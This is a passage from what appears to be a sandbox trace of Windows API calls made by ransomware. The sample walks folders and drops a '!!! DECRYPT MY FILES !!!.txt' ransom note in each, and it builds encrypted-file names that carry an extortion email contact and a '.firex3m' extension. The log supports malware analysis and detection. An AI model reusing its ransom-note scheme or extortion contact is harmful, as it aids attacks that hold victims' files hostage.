pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.012] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.012] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0087.012] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0087.012] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xcb9438a8, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5540 [0087.012] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0087.012] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0087.019] GetProcessHeap () returned 0x630000 [0087.019] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fb8, Size=0x20) returned 0x6e8fe0 [0087.019] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.019] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0087.019] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.019] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0087.019] FindNextFileW (in: hFindFile=0x6d5100, lpFindFileData=0x6ebf934 | out: lpFindFileData=0x6ebf934*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0087.019] SysReAllocStringLen (in: pbstr=0x6ebf928*=0x0, psz="C:\\$WINRE_BACKUP_PARTITION.MARKER", len=0x21 | out: pbstr=0x6ebf928*="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 1 [0087.020] CharLowerBuffW (in: lpsz="C:\\$WINRE_BACKUP_PARTITION.MARKER", cchLength=0x21 | out: lpsz="c:\\$winre_backup_partition.marker") returned 0x21 [0087.020] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe898, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.020] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe898, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.020] SysReAllocStringLen (in: pbstr=0x6ebf8c8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf8c8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.020] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.020] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe8cc, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt捾ৄh") returned 28 [0087.020] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe8c8, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt捾ৄh") returned 17 [0087.020] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf634 | out: lpFindFileData=0x6ebf634*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4f00 [0087.020] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0087.020] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0087.046] GetProcessHeap () returned 0x630000 [0087.046] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b12b0, Size=0x10) returned 0x6b1340 [0087.046] FindNextFileW (in: hFindFile=0x6d5100, lpFindFileData=0x6ebf934 | out: lpFindFileData=0x6ebf934*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0087.046] SysReAllocStringLen (in: pbstr=0x6ebf668*=0x0, psz="C:\\588bce7c90097ed212\\", len=0x16 | out: pbstr=0x6ebf668*="C:\\588bce7c90097ed212\\") returned 1 [0087.046] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0087.046] SysReAllocStringLen (in: pbstr=0x6ebf610*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf610*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0087.046] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0087.046] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*.*", lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x620, cFileName=".", cAlternateFileName="")) returned 0x6d5380 [0087.073] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.137] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1025", cAlternateFileName="")) returned 1 [0087.137] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1025\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1025\\") returned 1 [0087.137] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0087.137] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0087.137] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0087.138] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0087.169] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.169] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0087.169] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1025\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 1 [0087.169] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1025\\eula.rtf") returned 0x23 [0087.169] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.169] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.169] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.169] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.169] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0087.169] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0087.169] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf371c69a, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5400 [0087.170] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0087.170] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1025\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1025\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0087.174] GetProcessHeap () returned 0x630000 [0087.174] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1220 [0087.174] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0087.174] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1025\\eula.rtf", psz="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 1 [0087.174] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1025\\localizeddata.xml") returned 0x2c [0087.174] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.174] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.175] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.175] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.175] GetProcessHeap () returned 0x630000 [0087.175] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1220, Size=0x10) returned 0x6b12b0 [0087.175] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0087.175] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1025\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1025\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 1 [0087.175] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1025\\setupresources.dll") returned 0x2d [0087.175] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.175] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.175] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.175] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.175] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.175] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0087.176] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1028", cAlternateFileName="")) returned 1 [0087.176] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1028\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1028\\") returned 1 [0087.176] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0087.176] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0087.176] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0087.176] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0087.177] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.177] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0087.178] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1028\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 1 [0087.178] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1028\\eula.rtf") returned 0x23 [0087.178] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.178] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.178] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.178] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.178] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0087.178] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0087.178] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf3768b28, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4e00 [0087.178] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0087.178] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1028\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1028\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0087.184] GetProcessHeap () returned 0x630000 [0087.184] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b12b0, Size=0x14) returned 0x6b0478 [0087.184] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0087.185] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1028\\eula.rtf", psz="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 1 [0087.185] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1028\\localizeddata.xml") 